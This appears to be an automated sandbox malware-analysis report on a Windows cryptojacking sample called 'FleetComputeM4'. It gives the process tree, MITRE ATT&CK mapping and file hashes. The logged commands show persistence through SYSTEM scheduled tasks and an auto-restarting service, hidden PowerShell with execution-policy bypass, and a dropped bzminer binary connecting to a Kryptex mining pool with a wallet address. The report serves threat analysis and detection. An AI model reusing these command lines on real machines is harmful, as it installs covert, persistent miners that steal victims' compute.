PID 968 wrote to memory of 544	968	FleetComputeM4Service.exe	95
PID 688 wrote to memory of 3728	688	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	97
PID 3728 wrote to memory of 1912	3728	cmd.exe	99
PID 688 wrote to memory of 2732	688	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	100
PID 2732 wrote to memory of 4464	2732	cmd.exe	102
PID 544 wrote to memory of 1336	544	cmd.exe	103
PID 3956 wrote to memory of 4288	3956	FleetComputeM4Service.exe	105
PID 4288 wrote to memory of 2116	4288	cmd.exe	107
PID 968 wrote to memory of 1152	968	FleetComputeM4Service.exe	108
PID 3956 wrote to memory of 4796	3956	FleetComputeM4Service.exe	110
PID 4796 wrote to memory of 2616	4796	cmd.exe	112
PID 1152 wrote to memory of 1444	1152	cmd.exe	113
PID 968 wrote to memory of 3344	968	FleetComputeM4Service.exe	116
PID 3956 wrote to memory of 4032	3956	FleetComputeM4Service.exe	115
PID 3136 wrote to memory of 2956	3136	FleetComputeM4Service.exe	118
PID 2956 wrote to memory of 4068	2956	cmd.exe	120
PID 3136 wrote to memory of 1208	3136	FleetComputeM4Service.exe	122
PID 1208 wrote to memory of 3844	1208	cmd.exe	125
PID 3136 wrote to memory of 3120	3136	FleetComputeM4Service.exe	126
PID 3120 wrote to memory of 4544	3120	cmd.exe	128
PID 3136 wrote to memory of 512	3136	FleetComputeM4Service.exe	129
PID 512 wrote to memory of 4608	512	cmd.exe	131
PID 4032 wrote to memory of 1900	4032	cmd.exe	133
PID 3344 wrote to memory of 556	3344	cmd.exe	134
PID 968 wrote to memory of 3208	968	FleetComputeM4Service.exe	136
PID 3956 wrote to memory of 2104	3956	FleetComputeM4Service.exe	138
PID 3956 wrote to memory of 1004	3956	FleetComputeM4Service.exe	140
PID 968 wrote to memory of 2976	968	FleetComputeM4Service.exe	142
PID 688 wrote to memory of 1664	688	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	144
PID 1664 wrote to memory of 4816	1664	cmd.exe	146
PID 3956 wrote to memory of 3484	3956	FleetComputeM4Service.exe	149
PID 688 wrote to memory of 2480	688	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	151
PID 2480 wrote to memory of 1576	2480	cmd.exe	153
PID 688 wrote to memory of 664	688	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	156
PID 664 wrote to memory of 4416	664	cmd.exe	158
PID 688 wrote to memory of 2380	688	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	159
PID 2380 wrote to memory of 2624	2380	cmd.exe	161
PID 688 wrote to memory of 3444	688	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	162
PID 3444 wrote to memory of 1248	3444	cmd.exe	164
PID 688 wrote to memory of 2588	688	40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe	165
PID 2588 wrote to memory of 1316	2588	cmd.exe	167
PID 968 wrote to memory of 5060	968	FleetComputeM4Service.exe	173
PID 5060 wrote to memory of 1844	5060	fc-m4.exe	175
PID 1844 wrote to memory of 1648	1844	fc-m4.exe	176
PID 1844 wrote to memory of 4000	1844	fc-m4.exe	177
PID 1844 wrote to memory of 856	1844	fc-m4.exe	178
PID 968 wrote to memory of 4608	968	FleetComputeM4Service.exe	179
PID 4608 wrote to memory of 680	4608	fc-m4.exe	181
PID 680 wrote to memory of 1496	680	fc-m4.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe
"C:\Users\Admin\AppData\Local\Temp\40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe"
1⤵
- Direct Volume Access: Opens a physical disk for reading
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:688
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4280
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2128
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Run /TN FleetComputeM4Agent >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4308
- - C:\Windows\system32\schtasks.exe
    schtasks /Run /TN FleetComputeM4Agent
    3⤵
    PID:3780
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1412
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3728
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1912
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Run /TN FleetComputeM4Watch >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\schtasks.exe
    schtasks /Run /TN FleetComputeM4Watch
    3⤵
    PID:4464
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Run /TN FleetComputeM4Watch >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1664
- - C:\Windows\system32\schtasks.exe
    schtasks /Run /TN FleetComputeM4Watch
    3⤵
    PID:4816
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Run /TN FleetComputeM4Watch >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2480
- - C:\Windows\system32\schtasks.exe
    schtasks /Run /TN FleetComputeM4Watch
    3⤵
    PID:1576
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:664
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4416
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create FleetComputeM4 binPath= "C:\Users\Admin\AppData\Local\Temp\40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe --run" start= auto obj= LocalSystem >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Windows\system32\sc.exe
    sc create FleetComputeM4 binPath= "C:\Users\Admin\AppData\Local\Temp\40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa.exe --run" start= auto obj= LocalSystem
    3⤵
    - Launches sc.exe
    PID:2624
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc failure FleetComputeM4 reset= 86400 actions= restart/60000/restart/60000/restart/60000 >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3444
- - C:\Windows\system32\sc.exe
    sc failure FleetComputeM4 reset= 86400 actions= restart/60000/restart/60000/restart/60000
    3⤵
    - Launches sc.exe
    PID:1248
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start FleetComputeM4 >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Windows\system32\sc.exe
    sc start FleetComputeM4
    3⤵
    - Launches sc.exe
    PID:1316

C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run
1⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Windows security bypass
- Windows security modification
- Direct Volume Access: Opens a physical disk for reading
- Reads the TCP/IP host and domain name from the registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:968
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Wake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:544
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Wake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1336
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1152
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1444
- C:\Windows\system32\cmd.exe
  cmd.exe /c wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list > "C:\Windows\TEMP\agent_gpu1.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3344
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Detects videocard installed
    - Suspicious use of AdjustPrivilegeToken
    PID:556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_VideoController | ForEach-Object { 'Name=' + $_.Name; 'AdapterRAM=' + $_.AdapterRAM; 'DriverVersion=' + $_.DriverVersion; '' } | Set-Content -Encoding UTF8 'C:\Windows\TEMP\agent_gpu2.txt'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-PnpDevice -Class Display | ForEach-Object { 'Name=' + $_.FriendlyName; '' } | Set-Content -Encoding UTF8 'C:\Windows\TEMP\agent_gpu4.txt'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2976
- C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
  "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/1b6f9cd851 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
    "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-protected-process "-a" "pearl" "-p" "stratum+tcp://prl-eu.kryptex.network:7048" "-u" "prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/1b6f9cd851" "--nvidia" "1" "--amd" "1" "--intel" "1" "--igpu" "0" "--cpu" "0"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1844
  - - C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
      "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-worker-process --ctl-in 400 --ctl-out 412 --bz-protected-process -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/1b6f9cd851 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0 --no-color
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      PID:1648
  - - C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
      "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-worker-process --ctl-in 408 --ctl-out 460 --bz-protected-process -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/1b6f9cd851 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0 --no-color
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      PID:4000
  - - C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
      "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-worker-process --ctl-in 392 --ctl-out 408 --bz-protected-process -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/1b6f9cd851 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0 --no-color
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      PID:856
- C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
  "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/1b6f9cd851 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4608
- - C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
    "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-protected-process "-a" "pearl" "-p" "stratum+tcp://prl-eu.kryptex.network:7048" "-u" "prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/1b6f9cd851" "--nvidia" "1" "--amd" "1" "--intel" "1" "--igpu" "0" "--cpu" "0"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:680
  - - C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
      "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-worker-process --ctl-in 400 --ctl-out 412 --bz-protected-process -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/1b6f9cd851 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0 --no-color
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      PID:1496

C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run
1⤵
- Executes dropped EXE
- Windows security bypass
- Windows security modification
- Direct Volume Access: Opens a physical disk for reading
- Reads the TCP/IP host and domain name from the registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3956
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Wake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4288
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Wake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2116
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2616
- C:\Windows\system32\cmd.exe
  cmd.exe /c wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list > "C:\Users\Admin\AppData\Local\Temp\agent_gpu1.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4032
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Detects videocard installed
    - Suspicious use of AdjustPrivilegeToken
    PID:1900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_VideoController | ForEach-Object { 'Name=' + $_.Name; 'AdapterRAM=' + $_.AdapterRAM; 'DriverVersion=' + $_.DriverVersion; '' } | Set-Content -Encoding UTF8 'C:\Users\Admin\AppData\Local\Temp\agent_gpu2.txt'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-PnpDevice -Class Display | ForEach-Object { 'Name=' + $_.FriendlyName; '' } | Set-Content -Encoding UTF8 'C:\Users\Admin\AppData\Local\Temp\agent_gpu4.txt'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1004
- C:\Users\Admin\AppData\Local\FleetComputeM4\updater.exe
  "C:\Users\Admin\AppData\Local\FleetComputeM4\updater.exe" --apply-update 3956
  2⤵
  - Executes dropped EXE
  - Direct Volume Access: Opens a physical disk for reading
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:3484

C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
1⤵
- Executes dropped EXE
- Direct Volume Access: Opens a physical disk for reading
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:3136
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4068
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create FleetComputeM4 binPath= "C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run" start= auto obj= LocalSystem >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1208
- - C:\Windows\system32\sc.exe
    sc create FleetComputeM4 binPath= "C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run" start= auto obj= LocalSystem
    3⤵
    - Launches sc.exe
    PID:3844
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc failure FleetComputeM4 reset= 86400 actions= restart/60000/restart/60000/restart/60000 >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3120
- - C:\Windows\system32\sc.exe
    sc failure FleetComputeM4 reset= 86400 actions= restart/60000/restart/60000/restart/60000
    3⤵
    - Launches sc.exe
    PID:4544
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start FleetComputeM4 >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:512
- - C:\Windows\system32\sc.exe
    sc start FleetComputeM4
    3⤵
    - Launches sc.exe
    PID:4608

C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run
1⤵
- Executes dropped EXE
- Direct Volume Access: Opens a physical disk for reading
- Enumerates system info in registry
PID:4716

C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run
1⤵
- Executes dropped EXE
- Direct Volume Access: Opens a physical disk for reading
- Enumerates system info in registry
PID:1060

C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run
1⤵
- Executes dropped EXE
- Direct Volume Access: Opens a physical disk for reading
- Enumerates system info in registry
PID:2464

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

FleetComputeM4Service.exe

Path C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
Size 497KB
SHA256 40e417c19f5313518cbb89355e5d7c597a4e9c2bd0dadce95a37b7dc638015fa
MD5 8f66b94e8d3855e10e9d9b32ea1f54eb
SHA1 2b71c58baee241244a79eba9b9e19ad47e821537
SHA512 2e012def7d18c5dc4e78827d337568607bd290698f2f1996d4650344d742909084c07a5fa15ff057b21b6ea37adb066ebb96fdd6747b9eb2a9119b5d2b4ff351
SSDEEP 3072:4oAc8Ad/ITi7XJ1gqNrflj1cDual/+RiY6p0sTAzmBwNUdWGX+ceu+F+ScADcAsi:4oAcnd/ITczFNj1cnN+WcsBWWex0
TLSH
T112B420465E0BC8DDEBE2947460FAC4F492317D8C49E5908E2CD7B7E8A17C06E2167D2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bzminer.worker.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\bin\bzminer.worker.log
Size 1KB
SHA256 e7ef3c32f5c33903f6f4a09b6d1995721699eabcacde97e8dc1ae1a78f83d683
MD5 5c89781a478e8dbcb4bb45ea02f448ff
SHA1 52ea39b4c7869ebfc6b6f14c18826b5d18bb476e
SHA512 7d677da9bbc0524c9dd44e535f9c65c21038fd357f11c34815fba71d52d5b64aa2d0e395fd37df4b2cfef035d12d899d8d68df12554ed5d77e26c3c649867f00
TLSH
T1893166AA1A1E96F1134B0590622A4E431E1221EF131C82ED736EDD942DC3C58AE7F4A8
MD5 SHA1 SHA512 TLSH

Submit Download

bzminer.worker.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\bin\bzminer.worker.log
Size 2KB
SHA256 ae56682b771067ddb9135831181741fe72f35134bd5e01cf1860a211c06d35ab
MD5 9b8dc09c688337104e284b3ecc40bf2e
SHA1 7dec21af82a7abaca6669c6cac5aba8eecae92cb
SHA512 2450ff05d3c8b9003cef4c83e859c10af93ec1a7444e7a119c98638c2cf2a4a0e7db8dcfeae99cb83910e1b2f93d5a5421ec74ef53178ad5cc4393d9d073172e
TLSH
T1455178AA161E9AF5134B0590622D4E431F1321FF131D82EDB36EDD942DC7C58AEBF4A8
MD5 SHA1 SHA512 TLSH

Submit Download

fc-m4.exe

Path C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
Size 45.1MB
SHA256 3f8b858d255303d71cdcfa3fb882019d0106781c8677b8f1c36e3528f413e970
MD5 be1f8912c7067c70b032f4768bd130f1
SHA1 b7132d5f1225f4c228855a475b60d76c5cfee8ed
SHA512 304581daffde75e7a98f0e58e9efc907e3154d8e06fdc242deccb2e54fb20641b515138d3b1e7589d9e14941f0d029acc2cb71d2c06cff7fd9f3086573b5e409
SSDEEP 786432:BDCmt5EtvHhPALXa6NtbXzdoLyc2nJERrGI6efIndxsRn8icjnrsQPz:BG0MPhP0XaitHymciaRruq8BjnIQr
TLSH
T161A7335C0BB28BB1E815D938D6FCA05FB9F0A2059502C79054CC6ABF8ACF5E7165CE63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 507B
SHA256 2e47942ce15151ddeea36216ca624d0b0a5788c346c8d704d9a0d2aecac6dd27
MD5 97aa99335c2e425786161e056e6fe9de
SHA1 86304be563614180d2b2c09dfdc2a3bbc924a8ce
SHA512 ebe3a3f7d8107126db9871416cbd12033c6731e8cd111c78d6ddbc9ae829451059afd5dae23d809dccbbedb08b04f0389c32567437d1d2e64d9744eee2a9c209
TLSH
T1F1F0E9D1B58B402F3C77173212ABD6D454BD4417CD495DF4B2E1D61710744560E9AB73
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 a2098ad79bc191fb1f4522412898ef94ab9e148dfe12276cc1de70196bdff420
MD5 d497abccb340cd239a3a5f416dafe4d0
SHA1 3999d312ce28545abc47c9e1dfdc37ec9d43326f
SHA512 e1f34c9c1d2c375f5e61b62e538531806378a1d8f032791f798bf79a6b1b0f226f757c1ff03f1df84dc3be17595ae7c5b04d4c955f0bb9a43c135cfca7c4947e
TLSH
T19F2137D1B14B415EBCA36B3146E7D7D0D9A9C423CDDE45F0A1B1A72B00541A30EE2A73
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 1c0fa4829f6a35e4873d2644057ca605c4966fce4c3bb524da28e9c55984b884
MD5 44e8a0c984c999d427fb33e19b3efb15
SHA1 46e963cb4215c8c703db861d3615f78f539f58de
